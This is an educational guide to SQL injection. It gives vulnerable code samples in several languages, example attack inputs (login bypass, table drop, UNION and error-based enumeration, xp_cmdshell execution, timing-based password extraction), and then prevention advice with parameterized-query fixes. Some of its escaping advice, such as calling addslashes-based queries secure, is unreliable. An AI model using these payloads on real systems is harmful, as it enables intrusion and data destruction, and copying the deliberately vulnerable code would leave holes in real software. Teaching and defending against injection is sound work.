Quick guide to SQL Injection attacks and defenses

By r3dm0v3

Table of contents

1-Description

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application.

SQL injection is one of the oldest attacks against web applications.

The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Blind SQL Injection

When an attacker executes SQL Injection attacks sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application rather then getting a useful error message they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through sql statements.

2-Vulnerable Code

SQL Injection happens when a developer accepts user input that is directly placed into a SQL Statement and doesn't properly filter out dangerous characters. This can allow an attacker to not only steal data from your database, but also modify and delete it. Certain SQL Servers such as Microsoft SQL Server contain Stored and Extended Procedures (database server functions). If an attacker can obtain access to these Procedures it may be possible to compromise the entire machine. Attackers commonly insert single quotes into a URL's query string, or into a forms input field to test for SQL Injection. If an attacker receives an error message like the one below there is a good chance that the application is vulnerable to SQL Injection.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the

keyword 'or'.

/wasc.asp, line 69

Every code that uses user inputs to generate SQL queries without sanitization is vulnerable to sql injections.

PHP)

```
<?
$query="SELECT * from tbl_TableName where id=".$_GET['ID']; //user input is directly used for generating query!
$q=mysql_query($query);
?>
```

asp)

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

asp)

```
Dim SQL As String = "SELECT Count(*) FROM Users WHERE UserName = '" & _
username.text & "' AND Password = '" & password.text & "'"
```

```
Dim thisCommand As SQLCommand = New SQLCommand(SQL, Connection)
Dim thisCount As Integer = thisCommand.ExecuteScalar()
```

Asp)

```
dim conn, cmd, recordset

'Create Connection

Set conn=server.createObject("ADODB.Connection")

conn.open "DNS=LOCAL"

'Create Command

set cmd = server.createobject("ADODB.Command")

With cmd

 .activeconnection=conn

 .commandtext="Select * from DataTable where Id = " &
Request.QueryString("Parameter") 'Vulnerable Line!

End With

'Get the information in a RecordSet

set recordset = server.createobject("ADODB.Recordset")

recordset.Open cmd, conn

'....

'Do whatever is needed with the information

'....

'Do clean up

recordset.Close

conn.Close

set recordset = nothing

set cmd = nothing

set conn = nothing
```

aspx)

```
protected void Button1_Click(object sender, EventArgs e)
```

```
{
  string connect = "MyConnString";

  string query = "Select Count(*) From Users Where Username = '" +
UserName.Text + "' And Password = '" + Password.Text + "'";

  int result = 0;

  using (var conn = new SqlConnection(connect))

  {

    using (var cmd = new SqlCommand(query, conn))

    {

      conn.Open();

      result = (int)cmd.ExecuteScalar();

    }

  }

  if (result > 0)

  {

    Response.Redirect("LoggedIn.aspx");

  }

  else

  {

    Literal1.Text = "Invalid credentials";

}
```

aspx)

```
string connect = "MyConnString";

string query = "Select * From Products Where ProductID = " + Request["ID"];

using (var conn = new SqlConnection(connect))

{

  using (var cmd = new SqlCommand(query, conn))

  {

    conn.Open();
```

```
    //Process results
  }

}
```

PHP)

```
<?

$query="SELECT * from tbl_TableName where name='".
str_replace("'","''",$_GET['name']) ."'"; //vulnerable to input \';drop
tbl_tablename--

$q=mysql_query($query);

?>
```

Java)

```
String DRIVER = "com.ora.jdbc.Driver";

String DataURL = "jdbc:db://localhost:5112/users";

String LOGIN = "admin";

String PASSWORD = "admin123";

Class.forName(DRIVER);

//Make connection to DB

Connection connection = DriverManager.getConnection(DataURL, LOGIN,
PASSWORD);

String Username = request.getParameter("USER"); // From HTTP request

String Password = request.getParameter("PASSWORD"); // From HTTP request

int iUserID = -1;

String sLoggedUser = "";

String sel = "SELECT User_id, Username FROM USERS WHERE Username = '"
+Username + "' AND Password = '" + Password + "'";

Statement selectStatement = connection.createStatement ();

ResultSet resultSet = selectStatement.executeQuery(sel);

if (resultSet.next()) {

       iUserID = resultSet.getInt(1);
```

```
        sLoggedUser = resultSet.getString(2);
}

PrintWriter writer = response.getWriter ();

if (iUserID >= 0) {

        writer.println ("User logged in: " + sLoggedUser);

} else {

        writer.println ("Access Denied!")

}
```

Java)

```
 String query = "SELECT account_balance FROM user_data WHERE user_name = "

   + request.getParameter("customerName");

 try {

      Statement statement = connection.createStatement( … );

      ResultSet results = statement.executeQuery( query );

 }
```

Hibernate Query Language (HQL))

```
Query unsafeHQLQuery = session.createQuery("from Inventory where
productID='"+userSuppliedParameter+"'");
```

3-Exploit

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrator of the database server.

SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, Java EE and ASP.NET applications are less likely to have easily exploited SQL injections.

The severity of SQL Injection attacks is limited by the attacker's skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

Note: This article is not going to explain full exploitation of SQL injection bugs because exploiting sql injection bugs is very various and this article is based on detecting and fixing sql injection bugs. There is some examples bellow to understand sql injection attacks.

The attacker attempts to elicit exception conditions and anomalous behavior from the Web application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.

Attackers often try following inputs to determine if web application has sql injection bug or not.

'

or 1=1

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

Classic Login Page Vulnerability

We use a simple vulnerable code that looks like this:

```
<%@LANGUAGE = JScript %>
<%

var cn = Server.createobject( "ADODB.Connection" );

cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var sql = "select * from users where username = '" + username + "' and
password = '" + password + "'";

rso.open( sql, cn );

if (rso.EOF)

{

rso.close();

%>

Access Dennied!

%>

Response.end

return;

}

else

{

Session("username") = rso("username");

%>

Welcome

<% Response.write(rso("Username"));

Response.end

}

%>
```

The critical point here is the part of code which creates the 'query string' :

```
var sql = "select * from users where username = '" + username + "' and
password = '" + password + "'";
```

In a normal login when user inputs are followings:

Username: John

Password: 1234

The query string is:

```
select * from users where username = 'John' and password = '1234'
```

But if user manipulates input like the followings:

Username: John

Password: i_dont_know' or 'x'='x

The query becomes:

```
select * from users where username = 'John' and password = 'i_dont_know' or 'x'='x'
```

So 'where clause' is true for every row of table and user can login without knowing password!

If the user specifies the following:

Username: '; drop table users--

Password:

..The 'users' table will be deleted, denying access to the application for all users. The '--' character sequence is the 'single line comment' sequence in Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. The '--' at the end of the username field is required in order for this particular query to terminate without error.

The attacker could log on as any user, given that they know the users name, using the following input:

Username: admin'--

The attacker could log in as the first user in the 'users' table, with the following input:

Username: ' or 1=1--

…and, strangely, the attacker can log in as an entirely fictional user with the following input:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

The reason this works is that the application believes that the 'constant' row that the attacker specified was part of the recordset retrieved from the database.

Error Based Injections (SQL Server)

This kind of attack is based on 'error message' received from server. Fortunately for the attacker, if error messages are returned from the application (the default ASP behavior) the attacker can determine the entire structure of the database, and read any value that can be read by the account the ASP application is using to connect to the SQL Server.

For example attacker can find sql server version by injecting following expression:

```
Username:' union select @@version,1,1,1--
```

Which produce the following error that shows sql server version:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000
Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a
column of data type int.

/process_login.asp, line 11
```

Finding Table name and columns:

```
Username: ' having 1=1--
```

This provokes the following error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because
it is not contained in an aggregate function and there is no GROUP BY clause.

/login.asp, line 11
```

So the attacker now knows the table name and column name of the first column in the query. They can continue through the columns by introducing each field into a 'group by' clause, as follows:

```
Username: ' group by users.id having 1=1--
```

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list
because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 11
```

By continuing attacker can find all columns.

Note: You cannot do the same with all data bases. Read cheat sheets in references for more information.

Union based attacks

The UNION operator is used to combine the result-set of two or more SELECT statements. In this kind of injection attacker tries to inject a union operator to the query to change the result to read information.

Union based attacks look like this:

```
Username: junk' union select 1,2,3,4,... --
```

Notice that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. Also, the columns in each SELECT statement must be in the same order. Attacker can find columns count by trial and testing methods. (Using union or order by)

Note: The UNION operator selects only distinct values by default. To allow duplicate values, use UNION ALL

For example attacker can find sql server version by injecting following expression:

```
Username:' union select 1,@@version,1,1--
```

Which returns sql server version in username column and the login page code displays it. If the code does not return any column of the result of query in the page, attacker cannot find information in this way and should use blind injection methods.

Injecting SQL Commands

Attacker can inject sql commands if the data base supports stacked queries. In most of data bases it is possible to executing more than one query in one transaction by using semicolon (;).

Following example show how to create a table named foo which has a single column line by injecting stacked query:

```
Username: ' create table foo (line varchar(1000))--
```

Running cmd commands (sql server)

Attacker can use stored procedures to do things like executing commands.

xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example:

```
Username: '; exec master..xp_cmdshell 'dir'--
```

Some of MS-SQL Extended stored procedures are listed below:

* xp_cmdshell - execute shell commands
* xp_enumgroups - enumerate NT user groups
* xp_logininfo - current login info
* xp_grantlogin - grant login rights
* xp_getnetname - returns WINS server name
* xp_regdeletekey - registry manipulation
* xp_regenumvalues
* xp_regread
* xp_regwrite
* xp_msver - SQL server version info

Blind Injection Attacks

An attacker may verify whether a sent request returned True or False in a few ways:

(in)visible content

Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.

Example URL:

```
http://newspaper.com/items.php?id=2
```

Sends the following query to the database:

```
SELECT title, description, body FROM items WHERE ID = 2
```

The attacker may try to inject any (even invalid) query, what should cause the query to return no results:

```
http://newspaper.com/items.php?id=2 and 1=2
```

Now the SQL query should looks like this:

```
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
```

Which means that the query is not going to return anything.

If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:

```
http://newspaper.com/items.php?id=2 and 1=1
```

If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.

What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.

Timing Attack

A Timing Attack depends upon injecting the following MySQL query:

```
SELECT IF(expression, true, false)
```

Using some time-taking operation e.g. BENCHMARK(), will delay server responses if the expression is True.

```
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
```

- will execute 5000000 times the ENCODE function.

Depending on the database server performance and its load, it should take just a moment to finish this operation. The important thing is, from the attacker's point of view, to specify high number of BENCHMARK() function repetitions, which should affect the server response time in a noticeable way.

Example combination of both queries:

```
1 UNION SELECT IF(SUBSTRING(user_password,1,1) =
CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id =
1;
```

If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.

Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.

Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method or similar methods.

Other databases than MySQL also have implemented functions which allow them to use timing attacks:

* MS SQL - WAITFOR DELAY '0:0:5' -- pause for 5 seconds

* PostgreSQL - pg_sleep()

4-How to prevent

Parameterized Queries (Prepared Statements)

The use of prepared statements (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker.

Language specific recommendations:

* Java EE – use PreparedStatement() with bind variables
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
* PHP – use PDO with strongly typed parameterized queries (using bindParam())
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to escape all user supplied input using an escaping routine specific to your database, rather than using a prepared statement. Another option which might solve your performance issue is used a stored procedure instead.

Use of Stored Procedures

Stored procedures have the same effect as the use of prepared statements when implemented safely*. They require the developer to define the SQL code first, and then pass in the parameters after. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query.

Escaping all User Supplied Input

This third technique is to escape user input before putting it in a query. This may be an effective technique to remediate SQL injection on existing applications, because you can apply it with almost no effect on the structure of the code. If you are concerned that rewriting your dynamic queries as prepared statements or stored procedures might break your application or adversely affect performance, then this might be the best approach for you.

This technique works like this. Each DBMS supports a character escaping scheme were you can escape special characters in order to indicate to the DBMS that the characters you are providing in the query are intended to be data, and not code. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

To perform this escaping, you need to understand the escaping scheme supported by the DBMS you are using and write an escaping routine. Make sure that you do not use weak escaping functions, such as PHP's addslashes() or character replacement functions like str_replace("'", "") (This just converts single quotes to two single quotes). These are weak and have been successfully exploited by attackers. You need to make sure that the escaping routine you use escapes ALL the dangerous characters for the interpreter you are passing the data to.

White List or Black List validation

It is always recommended to prevent attacks as early as possible in the processing of the user's (attacker's) request. Input validation can be used to detect unauthorized input before it is passed to the SQL query. Developers frequently perform black list validation in order to try to detect attack characters and patterns like the ' character or the string 1=1, but this is a massively flawed approach as it is typically trivial for an attacker to avoid getting caught by such filters. Plus, such filters frequently prevent authorized input, like O'Brian, when the ' character is being filtered out.

White list validation is appropriate for all input fields provided by the user. White list validation involves defining exactly what IS authorized, and by definition, everything else is not authorized. If it's well structured data, like dates, social security numbers, zip codes, e-mail addresses, etc. then the developer should be able to define a very strong validation pattern, usually based on regular expressions, for validating such input. If the input field comes from a fixed set of options, like a drop down list or radio buttons, then the input needs to match exactly one of the values offered to the user in the first place. The most difficult fields to validate are so called 'free text' fields, like blog entries. However, even those types of fields can be validated to some degree, you can at least exclude all non-printable characters, and define a maximum size for the input field.

Be aware that "Input Validating" doesn't mean merely "remove the quotes" because even "regular" characters can be troublesome.

Additional Defenses (Configurations)

Least Privilege

Web applications should not use one connection for all transactions to the database. Because if a SQL Injection bug has been exploited, it can grant most access to the attacker. So it is better that web applications use the right connection for the user such using a connection with read permission for not logged in user which has only access to specified tables and not to the others.

The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Because attacker is able to do the UPDATE request that ultimately grants access.

Isolate the webserver

Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that attackers will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.

For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the web server doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.

Turning off error reporting

The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.

This information is useful to developers, but it should be restricted - if possible - to just internal users.

In asp.net you can turn off error reporting by setting CustomErrors in web.config file. Below is an example:

```
<customErrors mode="RemoteOnly">
```

In PHP you can do this by using error_reporting(0); on each code page or with php.ini configurations.

PHP Configuration

PHP Configuration has a direct bearing on the severity of attacks. Although no particular CVE entries are found against configuration, poor configuration choices maximize the attacker's advantage and damage they can cause poorly configured systems. What is worse, many "security" options in PHP are set incorrectly by default and give a false sense of security.

It is surprising that there is no agreed "secure" PHP configuration, and even more surprising that this is not how PHP is configured by default. There are arguments for and against the most common security options:

* register_globals (off by default in modern PHP, should be off)

* allow_url_fopen (enabled by default, should be off)

* magic_quotes_gpc (on by default in modern PHP, should be off)

* magic_quotes_runtime (off by default in modern PHP, should be off)

* safe_mode and open_basedir (disabled by default, should be enabled and correctly configured. Be aware that safe_mode really isn't safe and can be worse than useless)

5-Fixed Code

Parameterized Queries

Java)

```
String custname = request.getParameter("customerName"); // This should
REALLY be validated too

// perform input validation to detect attacks

String query = "SELECT account_balance FROM user_data WHERE user_name = ?
";

PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );
```

Java)

```
String firstname = req.getParameter("firstname");

String lastname = req.getParameter("lastname");

// FIXME: do your own validation to detect attacks

String query = "SELECT id, firstname, lastname FROM authors WHERE forename
= ? and surname = ?";

PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, firstname );

pstmt.setString( 2, lastname );

try

{

      ResultSet results = pstmt.execute( );

}
```

C#.net)

```
String query =

      "SELECT account_balance FROM user_data WHERE user_name = ?";

try {
```

```
      OleDbCommand command = new OleDbCommand(query, connection);
      command.Parameters.Add(new OleDbParameter("customerName",
CustomerName Name.Text));

      OleDbDataReader reader = command.ExecuteReader();

      // …

} catch (OleDbException se) {

      // error handling

}
```

Perl)

```
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
```

Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

```
Query safeHQLQuery = session.createQuery("from Inventory where
productID=:productid");

safeHQLQuery.setParameter("productid", userSuppliedParameter);
```

PHP)

In PHP version 5 and above, there are multiple choices for using parameterized statements. The PDO database layer is one of them:

```
$db = new PDO('pgsql:dbname=database');

$stmt = $db->prepare("SELECT priv FROM testUsers WHERE username=:username
AND password=:password");

$stmt->bindParam(':username', $user);

$stmt->bindParam(':password', $pass);

$stmt->execute();
```

Java)

This is an example using Java and the JDBC API:

```
PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE
USERNAME=? AND PASSWORD=?");

prep.setString(1, username);

prep.setString(2, password);

prep.executeQuery();
```

PHP)

There are also vendor-specific methods. For example in MySQL 4.1 and above with the mysqli extension.

```
$db = new mysqli("localhost", "user", "pass", "database");

$stmt = $db -> prepare("SELECT priv FROM testUsers WHERE username=? AND
password=?");

$stmt -> bind_param("ss", $user, $pass);

$stmt -> execute();
```

ColdFusion

In ColdFusion, the CFQUERYPARAM statement is useful in conjunction with the CFQUERY statement to nullify the effect of SQL code passed within the CFQUERYPARAM value as part of the SQL clause.

```
<cfquery name="Recordset1" datasource="cafetownsend">

SELECT *

FROM COMMENTS

WHERE COMMENT_ID =<cfqueryparam value="#URL.COMMENT_ID#"
cfsqltype="cf_sql_numeric">

</cfquery>
```

VB.NET)

```
Dim thisCommand As SQLCommand = New SQLCommand("SELECT Count(*) " & _

 "FROM Users WHERE UserName = @username AND Password = @password",
Connection)

thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value =
username
```

```
thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value =
password
```

```
Dim thisCount As Integer = thisCommand.ExecuteScalar()
```

ASP)

```
<%
    option explicit
    dim conn, cmd, recordset, iTableIdValue
    'Create Connection
    set conn=server.createObject("ADODB.Connection")
    conn.open "DNS=LOCAL"
    'Create Command
    set cmd = server.createobject("ADODB.Command")
    With cmd
          .activeconnection=conn
          .commandtext="Select * from DataTable where Id = @Parameter"
          'Create the parameter and set its value to 1
          .Parameters.Append .CreateParameter("@Parameter", adInteger,
adParamInput, , 1)
    End With
    'Get the information in a RecordSet
    set recordset = server.createobject("ADODB.Recordset")
    recordset.Open cmd, conn
    '....
    'Do whatever is needed with the information
    '....
    'Do clean up
    recordset.Close
    conn.Close
    set recordset = nothing
    set cmd = nothing
```

```
    set conn = nothing
%>
```

C#.net)

```
protected void Page_Load(object sender, EventArgs e)

{

  var connect =
ConfigurationManager.ConnectionStrings["NorthWind"].ToString();

  var query = "Select * From Products Where ProductID = @ProductID";

  using (var conn = new SqlConnection(connect))

  {

    using (var cmd = new SqlCommand(query, conn))

    {

      cmd.Parameters.Add("@ProductID", SqlDbType.Int);

      cmd.Parameters["@ProductID"].Value =
Convert.ToInt32(Request["ProductID"]);

      conn.Open();

      //Process results

    }

  }

}
```

C#.net)

```
protected void Page_Load(object sender, EventArgs e)

{

  var connect =
ConfigurationManager.ConnectionStrings["NorthWind"].ToString();

  var query = "Select * From Products Where ProductID = @ProductID";

  using (var conn = new SqlConnection(connect))

  {

    using (var cmd = new SqlCommand(query, conn))
```

```
    {
        cmd.Parameters.AddWithValue("@ProductID",
Convert.ToInt32(Request["ProductID"]);

        conn.Open();

        //Process results

    }

  }

}
```

Use of Stored Procedures

Java)

```
String custname = request.getParameter("customerName "); // This should
REALLY be validated

 try {

        CallableStatement cs = connection.prepareCall("{call
sp_getAccountBalance(?)}");

        cs.setString(1, custname);

        ResultSet results = cs.executeQuery();

        // … result set handling

 } catch (SQLException se) {

        // … logging and error handling

 }
```

VB.NET)

```
Try

        Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance",
connection)

        command.CommandType = CommandType.StoredProcedure

        command.Parameters.Add(new SqlParameter("@CustomerName",
CustomerName.Text))
```

```
      Dim reader As SqlDataReader = command.ExecuteReader()
      ' …

Catch se As SqlException

      ' error handling

End Try
```

VB.net)

```
Dim thisCommand As SQLCommand = New SqlCommand ("proc_CheckLogon",
Connection)

thisCommand.CommandType = CommandType.StoredProcedure

thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value =
username

thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value =
password

thisCommand.Parameters.Add ("@return", SqlDbType.Int).Direction =
ParameterDirection.ReturnValue

Dim thisCount As Integer = thisCommand.ExecuteScalar()
```

C#.net)

```
var connect =
ConfigurationManager.ConnectionStrings["NorthWind"].ToString();

var query = "GetProductByID";

using (var conn = new SqlConnection(connect))

{

  using (var cmd = new SqlCommand(query, conn))

  {

    cmd.CommandType = CommandType.StoredProcedure;

    cmd.Parameters.Add("@ProductID", SqlDbType.Int).Value =
Convert.ToInt32(Request["ProductID"]);

    conn.Open();

    //Process results

  }
```

```
}
```

Escaping all User Supplied Input

PHP)

```
$Username=$_POST['uname'];

$Password=$_POST['pass'];

mysql_query("SELECT * FROM Users where UserName='".
mysql_real_escape_string($Username) ."' and Password='".
mysql_real_escape_string($Password)."'")
```

Warning! Following PHP code is not secure:

```
$tablename=$_GET['tb'];

mysql_query("SELECT * FROM " . mysql_real_escape_string($tablename). "
where id=1") ;
```

In general:

* Avoid using dynamic table names if at all possible.

* If you have to use dynamic table names, do not accept them from the user if at all possible.

* If you have to allow dynamic user choice of table names, ONLY use white lists of acceptable characters for table names and enforce table name length limits. In particular, many database systems have a wide range of unacceptable characters and these change between major releases.

PHP)

```
$Username=$_POST['uname'];

$Password=$_POST['pass'];

mysql_query("SELECT * FROM Users where UserName='". addslashes($Username)
."' and Password='". addslashes($Password)."'")
```

Warning! Following PHP code is not secure:

```
mysql_query("SELECT * FROM Users where ID=". addslashes($UserId))
```

This can be exploited because input acts as part of sql command. Following code is secure:

```
mysql_query("SELECT * FROM Users where ID='". addslashes($UserId)."'")
```

ASP)

```
v_cat = request("category")

v_cat=replace(v_cat, "'", "''") 'Escaping singe quotes

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)
```

aspx)

```
protected void Button1_Click(object sender, EventArgs e)

{

  string connect = "MyConnString";

 string strUname = UserName.Text
 strUname= strUname.Replace("'", "''")
 string strPass = Password.Text
 strPass= strPass.Replace("'", "''")

  string query = "Select Count(*) From Users Where Username = '" + strUname
+ "' And Password = '" + strPass + "'";

  int result = 0;

  using (var conn = new SqlConnection(connect))

  {

    using (var cmd = new SqlCommand(query, conn))

    {

      conn.Open();

      result = (int)cmd.ExecuteScalar();

    }

  }

  if (result > 0)

  {

    Response.Redirect("LoggedIn.aspx");
```

```
  }
  else

  {

    Literal1.Text = "Invalid credentials";

}
```

6-References

http://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

http://www.cgisecurity.com/questions/sql.shtml

http://www.webappsec.org/projects/glossary/#SQLInjection

http://unixwiz.net/techtips/sql-injection.html

http://www.owasp.org/index.php/Blind_SQL_Injection

http://www.owasp.org/index.php/Guide_to_SQL_Injection

http://www.mikesdotnetting.com/Article/113/Preventing-SQL-Injection-in-ASP.NET

http://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

http://www.securiteam.com/securityreviews/5DP0N1P76E.html

http://en.wikipedia.org/wiki/SQL_injection

http://www.owasp.org/index.php/SQL_Injection

http://www.w3schools.com/sql/

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/